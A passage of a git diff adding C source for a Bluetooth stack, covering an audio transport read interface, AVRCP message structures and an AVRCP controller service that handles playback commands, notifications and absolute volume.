free(wreq); + free(tmpbuf); + audio_transport_connection_close(ch); + return ret; + } + + return 0; +} + +int audio_transport_read_start(audio_transport_t* transport, + uint8_t ch_id, + transport_alloc_cb_t alloc_cb, + transport_read_cb_t read_cb) +{ + transport_channel_t* ch; + transport_read_t* rreq; + int ret; + + if (ch_id >= AUDIO_TRANS_CH_NUM || !transport) + return -EINVAL; + + ch = &transport->ch[ch_id]; + if (ch->state != IPC_CONNTECTED || !ch->cli_pipe) { + return -1; + } + rreq = (transport_read_t*)malloc(sizeof(transport_read_t)); + if (!rreq) { + BT_LOGE("read req alloc failed"); + return -ENOMEM; + } + + // rreq->read_size = read_size; + rreq->read_cb = read_cb; + rreq->alloc_cb = alloc_cb; + rreq->ch = ch; + ch->cli_pipe->data = rreq; + ret = uv_read_start((uv_stream_t*)ch->cli_pipe, + transport_chnl_read_alloc_cb, + transport_chnl_read_cb); + if (ret != 0 && ret != UV_EALREADY) { + BT_LOGE("read start error :%s", uv_strerror(ret)); + free(rreq); + audio_transport_connection_close(ch); + return ret; + } + + return 0; +} + +int audio_transport_read_stop(audio_transport_t* transport, uint8_t ch_id) +{ + transport_channel_t* ch; + int ret; + + if (ch_id >= AUDIO_TRANS_CH_NUM || !transport) + return -EINVAL; + + ch = &transport->ch[ch_id]; + if (ch->state != IPC_CONNTECTED) { + return -1; + } + + ret = uv_read_stop((uv_stream_t*)ch->cli_pipe); + + // free read request + free(ch->cli_pipe->data); + ch->cli_pipe->data = NULL; + if (ret != 0) { + BT_LOGE("read stop error :%s", uv_strerror(ret)); + return ret; + } + + return 0; +} + +transport_conn_state_t audio_transport_get_state(audio_transport_t* transport, uint8_t ch_id) +{ + if (!transport) { + return IPC_DISCONNTECTED; + } + + return transport->ch[ch_id].state; +} \ No newline at end of file diff --git a/service/profiles/avrcp/avrcp_msg.c b/service/profiles/avrcp/avrcp_msg.c new file mode 100644 index 0000000000000000000000000000000000000000..544e4dafc9a64cef4f28d2c6b59ec9bb34121538 --- /dev/null +++ b/service/profiles/avrcp/avrcp_msg.c @@ -0,0 +1,65 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "avrcp_msg.h" + +avrcp_msg_t* avrcp_msg_new(rc_msg_id_t msg, bt_address_t* bd_addr) +{ + avrcp_msg_t* avrcp_msg; + + avrcp_msg = (avrcp_msg_t*)malloc(sizeof(avrcp_msg_t)); + if (avrcp_msg == NULL) + return NULL; + + avrcp_msg->id = msg; + if (bd_addr != NULL) + memcpy(&avrcp_msg->addr, bd_addr, sizeof(bt_address_t)); + + return avrcp_msg; +} + +void avrcp_msg_destory(avrcp_msg_t* avrcp_msg) +{ + if (avrcp_msg->id == AVRC_GET_ELEMENT_ATTRIBUTES_RSP) { + for (int i = 0; i < avrcp_msg->data.attrs.count; i++) { + if (avrcp_msg->data.attrs.attrs[i] != NULL) { + free(avrcp_msg->data.attrs.attrs[i]); + avrcp_msg->data.attrs.attrs[i] = NULL; + } + } + } + + free(avrcp_msg); +} diff --git a/service/profiles/avrcp/avrcp_msg.h b/service/profiles/avrcp/avrcp_msg.h new file mode 100644 index 0000000000000000000000000000000000000000..01ca80efc8235a03535a8be8c7e8968e987db32e --- /dev/null +++ b/service/profiles/avrcp/avrcp_msg.h @@ -0,0 +1,135 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __AVRCP_MSG_H__ +#define __AVRCP_MSG_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_avrcp.h" + +typedef enum { + AVRC_STARTUP, + AVRC_SHUTDOWN, + AVRC_CONNECTION_STATE_CHANGED, + AVRC_GET_ELEMENT_ATTR_REQ, + AVRC_GET_PLAY_STATUS_REQ, + AVRC_PASSTHROUHT_CMD, + AVRC_REGISTER_NOTIFICATION_REQ, + AVRC_REGISTER_NOTIFICATION_ABSVOL_RSP, + AVRC_PASSTHROUHT_CMD_RSP, + AVRC_GET_CAPABILITY_RSP, + AVRC_SET_ABSOLUTE_VOLUME, + AVRC_REGISTER_NOTIFICATION_ABSVOL_REQ, + AVRC_REGISTER_NOTIFICATION_RSP, + AVRC_GET_ELEMENT_ATTRIBUTES_RSP, + AVRC_GET_PLAY_STATUS_RSP, + + AVRC_GET_PLAYBACK_STATE, + AVRC_VOLUME_CHANGED_NOTIFY, + + AVRC_PLAYSTATUS_NOTIFY, +} rc_msg_id_t; + +typedef struct { + profile_connection_state_t conn_state; + profile_connection_reason_t reason; +} rc_profile_connection_state_t; + +typedef struct { + avrcp_passthr_cmd_t cmd; + avrcp_key_state_t state; + uint8_t rsp; +} rc_passthr_rsp_t; + +typedef struct { + avrcp_play_status_t status; + uint32_t song_len; + uint32_t song_pos; +} rc_play_status_t; + +typedef struct { + uint8_t company_id; + uint8_t cap_count; + uint8_t capabilities[255]; +} rc_capabilities_t; + +typedef struct { + avrcp_notification_event_t event; + uint32_t value; +} rc_notification_rsp_t; + +typedef struct { + avrcp_passthr_cmd_t opcode; + avrcp_key_state_t state; +} rc_passthr_cmd_t; + +typedef struct { + avrcp_notification_event_t event; + uint32_t interval; +} rc_register_notification_t; + +typedef struct { + uint8_t volume; +} rc_absvol_t; + +typedef struct { + uint8_t count; + uint32_t types[AVRCP_MAX_ATTR_COUNT]; + uint16_t chr_sets[AVRCP_MAX_ATTR_COUNT]; + char* attrs[AVRCP_MAX_ATTR_COUNT]; +} rc_element_attrs_t; + +typedef struct { + bt_address_t addr; + rc_msg_id_t id; + uint8_t role; + union { + rc_profile_connection_state_t conn_state; + rc_passthr_cmd_t passthr_cmd; + rc_register_notification_t notify_req; + rc_passthr_rsp_t passthr_rsp; + rc_play_status_t playstatus; + rc_capabilities_t cap; + rc_notification_rsp_t notify_rsp; + rc_absvol_t absvol; + rc_element_attrs_t attrs; + void* context; + } data; +} avrcp_msg_t; + +typedef void (*avrcp_msg_callback_t)(avrcp_msg_t* msg); + +avrcp_msg_t* avrcp_msg_new(rc_msg_id_t msg, bt_address_t* bd_addr); +void avrcp_msg_destory(avrcp_msg_t* avrcp_msg); + +#endif diff --git a/service/profiles/avrcp/control/avrcp_control_service.c b/service/profiles/avrcp/control/avrcp_control_service.c new file mode 100644 index 0000000000000000000000000000000000000000..233abdcbac3010251ab0110ebeb868314583c76f --- /dev/null +++ b/service/profiles/avrcp/control/avrcp_control_service.c @@ -0,0 +1,738 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "avrcp_controller" + +#include <fcntl.h> +#include <stdint.h> +#include <stdlib.h> +#include <unistd.h> + +#include "adapter_internel.h" +#include "avrcp_control_service.h" +#include "avrcp_msg.h" +#include "bt_addr.h" +#include "bt_list.h" +#include "bt_player.h" +#include "callbacks_list.h" +#include "media_system.h" +#include "power_manager.h" +#include "sal_avrcp_control_interface.h" +#include "sal_avrcp_target_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +#define AVRCP_CT_CALLBACK_FOREACH(_list, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, avrcp_control_callbacks_t, _cback, ##__VA_ARGS__) + +typedef struct { + struct list_node list; + bool enable; + bt_list_t* devices; + pthread_mutex_t mutex; + callbacks_list_t* callbacks; + void* volume_listener; +} avrcp_controller_service_t; + +typedef struct { + bt_address_t addr; + bool initiator; + bt_media_player_t* player; + uv_mutex_t lock; + profile_connection_state_t state; + int set_abs_vol_cnt; +} avrcp_ct_device_t; + +static void controller_startup(profile_on_startup_t startup); +static void controller_shutdown(profile_on_shutdown_t shutdown); +static void avrcp_ct_on_play(bt_media_player_t* player, void* context); +static void avrcp_ct_on_pause(bt_media_player_t* player, void* context); +static void avrcp_ct_on_stop(bt_media_player_t* player, void* context); +static void avrcp_ct_on_next(bt_media_player_t* player, void* context); +static void avrcp_ct_on_prev(bt_media_player_t* player, void* context); + +static avrcp_controller_service_t g_avrc_controller = { 0 }; +static bt_media_player_callback_t g_player_cb = { + NULL, + avrcp_ct_on_play, + avrcp_ct_on_pause, + avrcp_ct_on_stop, + avrcp_ct_on_next, + avrcp_ct_on_prev +}; + +static bool ct_device_cmp(void* device, void* addr) +{ + return bt_addr_compare(&((avrcp_ct_device_t*)device)->addr, addr) == 0; +} + +static avrcp_ct_device_t* ct_device_find(bt_address_t* addr) +{ + if (!g_avrc_controller.devices || !addr) + return NULL; + + return bt_list_find(g_avrc_controller.devices, ct_device_cmp, addr); +} + +static avrcp_ct_device_t* ct_device_create(bt_address_t* addr, bool initiator) +{ + avrcp_ct_device_t* device; + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + if (!addr) + return NULL; + + device = malloc(sizeof(avrcp_ct_device_t)); + if (!device) + return NULL; + + uv_mutex_init(&device->lock); + + memcpy(&device->addr, addr, sizeof(bt_address_t)); + device->initiator = initiator; + device->player = NULL; + device->state = PROFILE_STATE_DISCONNECTED; + device->set_abs_vol_cnt = 0; + + bt_list_add_tail(g_avrc_controller.devices, device); + + bt_addr_ba2str(addr, _addr_str); + BT_LOGD("%s [%s] success", __func__, _addr_str); + + return device; +} + +static void ct_device_destory(void* data) +{ + avrcp_ct_device_t* device = data; + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + assert(device); + + bt_addr_ba2str(&device->addr, _addr_str); + BT_LOGD("%s [%s] success", __func__, _addr_str); + + if (device->player) + bt_media_player_destory(device->player); + + if (device->state != PROFILE_STATE_DISCONNECTED) + AVRCP_CT_CALLBACK_FOREACH(g_avrc_controller.callbacks, connection_state_cb, &device->addr, PROFILE_STATE_DISCONNECTED); + + bt_pm_conn_close(PROFILE_AVRCP_CT, &device->addr); + uv_mutex_destroy(&device->lock); + free(device); +} + +static void ct_device_remove(avrcp_ct_device_t* device) +{ + bt_list_remove(g_avrc_controller.devices, device); +} + +static void avrcp_controller_service_handle_event(void* data) +{ + avrcp_msg_t* msg = data; + + switch (msg->id) { + case AVRC_STARTUP: + controller_startup((profile_on_startup_t)msg->data.context); + break; + case AVRC_SHUTDOWN: + controller_shutdown((profile_on_shutdown_t)msg->data.context); + break; + default: + BT_LOGW("%s Unsupport message", __func__); + break; + } + + avrcp_msg_destory(msg); +} + +static void send_pass_through_cmd(avrcp_ct_device_t* device, avrcp_passthr_cmd_t cmd) +{ + bt_sal_avrcp_control_send_pass_through_cmd(PRIMARY_ADAPTER, &device->addr, cmd, AVRCP_KEY_PRESSED); + bt_sal_avrcp_control_send_pass_through_cmd(PRIMARY_ADAPTER, &device->addr, cmd, AVRCP_KEY_RELEASED); +} + +static void avrcp_ct_on_play(bt_media_player_t* player, void* context) +{ + avrcp_ct_device_t* device = context; + + BT_LOGD("%s", __func__); + send_pass_through_cmd(device, PASSTHROUGH_CMD_ID_PLAY); +} + +static void avrcp_ct_on_pause(bt_media_player_t* player, void* context) +{ + avrcp_ct_device_t* device = context; + + BT_LOGD("%s", __func__); + send_pass_through_cmd(device, PASSTHROUGH_CMD_ID_PAUSE); +} + +static void avrcp_ct_on_stop(bt_media_player_t* player, void* context) +{ + avrcp_ct_device_t* device = context; + + BT_LOGD("%s", __func__); + send_pass_through_cmd(device, PASSTHROUGH_CMD_ID_STOP); +} + +static void avrcp_ct_on_next(bt_media_player_t* player, void* context) +{ + avrcp_ct_device_t* device = context; + + BT_LOGD("%s", __func__); + send_pass_through_cmd(device, PASSTHROUGH_CMD_ID_FORWARD); +} + +static void avrcp_ct_on_prev(bt_media_player_t* player, void* context) +{ + avrcp_ct_device_t* device = context; + + BT_LOGD("%s", __func__); + send_pass_through_cmd(device, PASSTHROUGH_CMD_ID_BACKWARD); +} + +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME +static void bt_avrcp_absolute_volume_changed_notification(void* context, int volume) +{ + uint8_t avrcp_volume; + bt_status_t status; + avrcp_ct_device_t* device = (avrcp_ct_device_t*)context; + + uv_mutex_lock(&device->lock); + if (device->set_abs_vol_cnt) { + device->set_abs_vol_cnt--; + uv_mutex_unlock(&device->lock); + return; + } + + uv_mutex_unlock(&device->lock); + + avrcp_volume = bt_media_volume_media_to_avrcp(volume); + status = bt_sal_avrcp_control_volume_changed_notify(PRIMARY_ADAPTER, &device->addr, + avrcp_volume); + if (status != BT_STATUS_SUCCESS) { + BT_LOGW("notified absolute volume failed, status: %d, volume: %d.", status, volume); + } +} + +static void handle_avrcp_register_absolute_volume_notification(bt_address_t* addr) +{ + int media_volume; + avrcp_ct_device_t* device = NULL; + + device = ct_device_find(addr); + if (!device) { + return; + } + + if (bt_media_get_music_volume(&media_volume)) { + BT_LOGE("get media volume failed."); + media_volume = 0; + } + + bt_sal_avrcp_control_volume_changed_notify(PRIMARY_ADAPTER, addr, + bt_media_volume_media_to_avrcp(media_volume)); + + if (g_avrc_controller.volume_listener == NULL) { + g_avrc_controller.volume_listener = bt_media_listen_music_volume_change(bt_avrcp_absolute_volume_changed_notification, (void*)device); + } +} + +static void handle_avrcp_register_notification_request(avrcp_msg_t* msg) +{ + bt_address_t* addr = &msg->addr; + avrcp_notification_event_t event = msg->data.notify_req.event; + + BT_LOGD("register notification event: %d", event); + + switch (event) { + case NOTIFICATION_EVT_VOLUME_CHANGED: + handle_avrcp_register_absolute_volume_notification(addr); + break; + default: + break; + } +} +#endif + +static void handle_avrcp_connection_state(avrcp_msg_t* msg) +{ + avrcp_ct_device_t* device = NULL; + bt_address_t* addr = &msg->addr; + profile_connection_state_t state = msg->data.conn_state.conn_state; + + pthread_mutex_lock(&g_avrc_controller.mutex); + if (!g_avrc_controller.enable) { + pthread_mutex_unlock(&g_avrc_controller.mutex); + return; + } + pthread_mutex_unlock(&g_avrc_controller.mutex); + + BT_LOGD("avrc ct connnection --> device:[%s], state: %d", bt_addr_str(addr), state); + + device = ct_device_find(addr); + /* set device state */ + if (device) + device->state = state; + + switch (state) { + case PROFILE_STATE_DISCONNECTED: + /* destory device and release resource if device is existed*/ + if (device) { + bt_pm_conn_close(PROFILE_AVRCP_CT, &device->addr); + ct_device_remove(device); + } + if (g_avrc_controller.volume_listener != NULL) { + bt_media_remove_listener(g_avrc_controller.volume_listener); + g_avrc_controller.volume_listener = NULL; + } + break; + case PROFILE_STATE_CONNECTING: + if (!device) { + device = ct_device_create(addr, false); + device->state = state; + } + break; + case PROFILE_STATE_CONNECTED: { + if (!device) { + device = ct_device_create(addr, false); + device->state = state; + } + + bt_pm_conn_open(PROFILE_AVRCP_CT, &device->addr); + bt_sal_avrcp_control_get_capabilities(PRIMARY_ADAPTER, addr, AVRCP_CAPABILITY_ID_EVENTS_SUPPORTED); + device->player = bt_media_player_create(device, &g_player_cb); + } break; + case PROFILE_STATE_DISCONNECTING: + assert(device); + break; + default: + assert(0); + } + + AVRCP_CT_CALLBACK_FOREACH(g_avrc_controller.callbacks, connection_state_cb, addr, state); +} + +static void handle_avrcp_get_play_status_response(avrcp_msg_t* msg) +{ + avrcp_ct_device_t* device = NULL; + bt_address_t* addr = &msg->addr; + rc_play_status_t* playstatus = &msg->data.playstatus; + + device = ct_device_find(addr); + if (!device) + return; + + BT_LOGD("playback status rsp --> status: %s, songlen: %" PRIu32 ", position: %" PRIu32, + bt_media_status_str(playstatus->status), playstatus->song_len, playstatus->song_pos); + bt_media_player_set_status(device->player, playstatus->status); + bt_media_player_set_duration(device->player, playstatus->song_len); + bt_media_player_set_position(device->player, playstatus->song_pos); +} + +static void handle_avrcp_get_capability_response(avrcp_msg_t* msg) +{ + avrcp_ct_device_t* device = NULL; + bt_address_t* addr = &msg->addr; + uint8_t* cap = msg->data.cap.capabilities; + + device = ct_device_find(addr); + if (!device) + return; + + while (msg->data.cap.cap_count) { + BT_LOGD("capability support event: %d", *cap); + switch (*cap) { + case NOTIFICATION_EVT_PALY_STATUS_CHANGED: + bt_sal_avrcp_control_register_notification(PRIMARY_ADAPTER, addr, *cap, 0); + bt_sal_avrcp_control_get_playback_state(PRIMARY_ADAPTER, addr); + break; + case NOTIFICATION_EVT_PLAY_POS_CHANGED: + bt_sal_avrcp_control_register_notification(PRIMARY_ADAPTER, addr, *cap, 2); + break; + case NOTIFICATION_EVT_VOLUME_CHANGED: + /* don't work on controller role */ + break; + case NOTIFICATION_EVT_TRACK_CHANGED: + bt_sal_avrcp_control_register_notification(PRIMARY_ADAPTER, addr, *cap, 0); + break; + default: + break; + } + cap++; + msg->data.cap.cap_count--; + } +} + +static void handle_avrcp_passthrough_cmd_response(avrcp_msg_t* msg) +{ + avrcp_ct_device_t* device = NULL; + bt_address_t* addr = &msg->addr; + + device = ct_device_find(addr); + if (!device) + return; + + BT_LOGD("passthrough cmd rsp --> cmd: %d, state: %d, rsp: %d", msg->data.passthr_rsp.cmd, + msg->data.passthr_rsp.state, msg->data.passthr_rsp.rsp); +} + +static void handle_avrcp_register_notification_response(avrcp_msg_t* msg) +{ + avrcp_ct_device_t* device = NULL; + bt_address_t* addr = &msg->addr; + + device = ct_device_find(addr); + if (!device) + return; + + BT_LOGD("register_notification evt: %d", msg->data.notify_rsp.event); + switch (msg->data.notify_rsp.event) { + case NOTIFICATION_EVT_PALY_STATUS_CHANGED: { + bt_media_status_t status = msg->data.notify_rsp.value; + BT_LOGD("playback status changed: %s, get status now...", bt_media_status_str(status)); + bt_media_player_set_status(device->player, status); + bt_sal_avrcp_control_get_playback_state(PRIMARY_ADAPTER, addr); + break; + } + case NOTIFICATION_EVT_PLAY_POS_CHANGED: { + BT_LOGD("song position is: %" PRIu32, msg->data.notify_rsp.value); + bt_media_player_set_position(device->player, msg->data.notify_rsp.value); + break; + } + case NOTIFICATION_EVT_VOLUME_CHANGED: { + /* don't work on controller role */ + break; + } + case NOTIFICATION_EVT_TRACK_CHANGED: { + BT_LOGD("track changed, get track info now..."); + bt_sal_avrcp_control_get_element_attributes(PRIMARY_ADAPTER, addr, 0, NULL); + break; + } + default: + break; + } +} + +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME +static void handle_avrcp_set_absolute_volume(avrcp_msg_t* msg) +{ + bt_status_t status; + int media_volume, curr_volume; + avrcp_ct_device_t* device = NULL; + bt_address_t* addr = &msg->addr; + + device = ct_device_find(addr); + if (!device) { + return; + } + + media_volume = bt_media_volume_avrcp_to_media(msg->data.absvol.volume); + uv_mutex_lock(&device->lock); + + if (bt_media_get_music_volume(&curr_volume)) { + BT_LOGE("get music volume fail"); + curr_volume = media_volume; + } + + if (media_volume != curr_volume) { + device->set_abs_vol_cnt++; + } + + uv_mutex_unlock(&device->lock); + if ((status = bt_media_set_music_volume(media_volume)) != BT_STATUS_SUCCESS) { + uv_mutex_lock(&device->lock); + device->set_abs_vol_cnt--; + uv_mutex_unlock(&device->lock); + } + + BT_LOGD("set absolute volume rsp: status: %d, volume: %d", status, media_volume); +} +#endif + +static void handle_avrcp_get_element_attrs_response(avrcp_msg_t* msg) +{ + uint8_t attrs_count = msg->data.attrs.count; + bt_address_t* addr = &msg->addr; + avrcp_element_attr_val_t attrs[attrs_count]; + + for (int i = 0; i < attrs_count; i++) { + attrs[i].attr_id = msg->data.attrs.types[i]; + attrs[i].chr_set = msg->data.attrs.chr_sets[i]; + if (msg->data.attrs.attrs[i] == NULL) { + attrs[i].text = NULL; + } else { + attrs[i].text = (uint8_t*)msg->data.attrs.attrs[i]; + } + } + + AVRCP_CT_CALLBACK_FOREACH(g_avrc_controller.callbacks, get_element_attribute_cb, addr, attrs_count, attrs); +} + +static void avrcp_control_service_handle_callback(void* data) +{ + avrcp_msg_t* msg = data; + + switch (msg->id) { + case AVRC_CONNECTION_STATE_CHANGED: + handle_avrcp_connection_state(msg); + break; + case AVRC_GET_PLAY_STATUS_RSP: + handle_avrcp_get_play_status_response(msg); + break; + case AVRC_GET_CAPABILITY_RSP: + handle_avrcp_get_capability_response(msg); + break; + case AVRC_PASSTHROUHT_CMD_RSP: + handle_avrcp_passthrough_cmd_response(msg); + break; +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME + case AVRC_SET_ABSOLUTE_VOLUME: + handle_avrcp_set_absolute_volume(msg); + break; + case AVRC_REGISTER_NOTIFICATION_REQ: + handle_avrcp_register_notification_request(msg); + break; +#endif + case AVRC_REGISTER_NOTIFICATION_RSP: + handle_avrcp_register_notification_response(msg); + break; + case AVRC_GET_ELEMENT_ATTRIBUTES_RSP: + handle_avrcp_get_element_attrs_response(msg); + break; + default: + BT_LOGW("%s Unsupport message: %d", __func__, msg->id); + break; + } + + avrcp_msg_destory(msg); +} + +static void do_in_avrcp_service(avrcp_msg_t* msg) +{ + if (msg == NULL) + return; + + do_in_service_loop(avrcp_controller_service_handle_event, msg); +} + +static bt_status_t avrcp_control_init(void) +{ + pthread_mutexattr_t attr; + + memset(&g_avrc_controller, 0, sizeof(g_avrc_controller)); + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + if (pthread_mutex_init(&g_avrc_controller.mutex, &attr) < 0) + return BT_STATUS_FAIL; + + g_avrc_controller.callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + return BT_STATUS_SUCCESS; +} + +static void avrcp_control_cleanup(void) +{ + bt_callbacks_list_free(g_avrc_controller.callbacks); + g_avrc_controller.callbacks = NULL; + pthread_mutex_destroy(&g_avrc_controller.mutex); +} + +static void controller_startup(profile_on_startup_t startup) +{ + pthread_mutex_lock(&g_avrc_controller.mutex); + if (g_avrc_controller.enable) { + pthread_mutex_unlock(&g_avrc_controller.mutex); + startup(PROFILE_AVRCP_CT, true); + return; + } + + g_avrc_controller.devices = bt_list_new(ct_device_destory); + if (!g_avrc_controller.devices) { + pthread_mutex_unlock(&g_avrc_controller.mutex); + startup(PROFILE_AVRCP_CT, false); + return; + } + + if (bt_sal_avrcp_control_init() != BT_STATUS_SUCCESS) { + list_delete(&g_avrc_controller.list); + pthread_mutex_unlock(&g_avrc_controller.mutex); + startup(PROFILE_AVRCP_CT, false); + return; + } + +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME + if (bt_sal_avrcp_target_init() != BT_STATUS_SUCCESS) { + BT_LOGW("AVRCP TG init fail."); + pthread_mutex_unlock(&g_avrc_controller.mutex); + startup(PROFILE_AVRCP_CT, false); + return; + } + + if (bt_media_get_music_volume_range()) { + BT_LOGW("get media volume range fail"); + pthread_mutex_unlock(&g_avrc_controller.mutex); + startup(PROFILE_AVRCP_CT, false); + return; + } +#endif + + g_avrc_controller.enable = true; + pthread_mutex_unlock(&g_avrc_controller.mutex); + startup(PROFILE_AVRCP_CT, true); +} + +static void controller_shutdown(profile_on_shutdown_t shutdown) +{ + pthread_mutex_lock(&g_avrc_controller.mutex); + if (!g_avrc_controller.enable) { + pthread_mutex_unlock(&g_avrc_controller.mutex); + shutdown(PROFILE_AVRCP_CT, true); + return; + } + + g_avrc_controller.enable = false; + bt_list_free(g_avrc_controller.devices); + g_avrc_controller.devices = NULL; + if (g_avrc_controller.volume_listener != NULL) { + bt_media_remove_listener(g_avrc_controller.volume_listener); + g_avrc_controller.volume_listener = NULL; + } + bt_sal_avrcp_control_cleanup(); + pthread_mutex_unlock(&g_avrc_controller.mutex); + shutdown(PROFILE_AVRCP_CT, true); +} + +static bt_status_t avrcp_control_startup(profile_on_startup_t cb) +{ + pthread_mutex_lock(&g_avrc_controller.mutex); + if (g_avrc_controller.enable) { + pthread_mutex_unlock(&g_avrc_controller.mutex); + return BT_STATUS_NOT_ENABLED; + } + pthread_mutex_unlock(&g_avrc_controller.mutex); + avrcp_msg_t* msg = avrcp_msg_new(AVRC_STARTUP, NULL); + msg->data.context = cb; + do_in_avrcp_service(msg); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t avrcp_control_shutdown(profile_on_shutdown_t cb) +{ + pthread_mutex_lock(&g_avrc_controller.mutex); + if (!g_avrc_controller.enable) { + pthread_mutex_unlock(&g_avrc_controller.mutex); + return BT_STATUS_SUCCESS; + } + pthread_mutex_unlock(&g_avrc_controller.mutex); + avrcp_msg_t* msg = avrcp_msg_new(AVRC_SHUTDOWN, NULL); + msg->data.context = cb; + do_in_avrcp_service(msg); + + return BT_STATUS_SUCCESS; +} + +static void* avrcp_control_register_callbacks(void* remote, const avrcp_control_callbacks_t* callbacks) +{ + return bt_remote_callbacks_register(g_avrc_controller.callbacks, remote, (void*)callbacks); +} + +static bool avrcp_control_unregister_callbacks(void** remote, void* cookie) +{ + return bt_remote_callbacks_unregister(g_avrc_controller.callbacks, remote, cookie); +} +static bt_status_t avrcp_control_get_element_attributes(bt_address_t* remote) +{ + return bt_sal_avrcp_control_get_element_attributes(PRIMARY_ADAPTER, remote, 0, NULL); +} + +static bt_status_t avrcp_control_send_passthrough_cmd(bt_address_t* remote, uint8_t cmd, uint8_t state) +{ + return bt_sal_avrcp_control_send_pass_through_cmd(PRIMARY_ADAPTER, remote, cmd, state); +} + +static bt_status_t avrcp_control_get_unit_info(bt_address_t* remote) +{ + return bt_sal_avrcp_control_get_unit_info(PRIMARY_ADAPTER, remote); +} + +static bt_status_t avrcp_control_get_subunit_info(bt_address_t* remote) +{ + return bt_sal_avrcp_control_get_subunit_info(PRIMARY_ADAPTER, remote); +} + +static bt_status_t avrcp_control_get_playback_state(bt_address_t* remote) +{ + return bt_sal_avrcp_control_get_playback_state(PRIMARY_ADAPTER, remote); +} + +static bt_status_t avrcp_control_register_notification(bt_address_t* remote, avrcp_notification_event_t event, uint32_t interval) +{ + return bt_sal_avrcp_control_register_notification(PRIMARY_ADAPTER, remote, event, interval); +} + +static const avrcp_control_interface_t avrcp_controlInterface = { + .size = sizeof(avrcp_controlInterface), + .register_callbacks = avrcp_control_register_callbacks, + .unregister_callbacks = avrcp_control_unregister_callbacks, + .avrcp_control_get_element_attributes = avrcp_control_get_element_attributes, + .avrcp_control_send_passthrough_cmd = avrcp_control_send_passthrough_cmd, + .avrcp_control_get_unit_info = avrcp_control_get_unit_info, + .avrcp_control_get_subunit_info = avrcp_control_get_subunit_info, + .avrcp_control_get_playback_state = avrcp_control_get_playback_state, + .avrcp_control_register_notification = avrcp_control_register_notification +}; + +static const void* get_avrcp_control_profile_interface(void) +{ + return (void*)&avrcp_controlInterface; +} + +static int avrcp_control_dump(void) +{ + 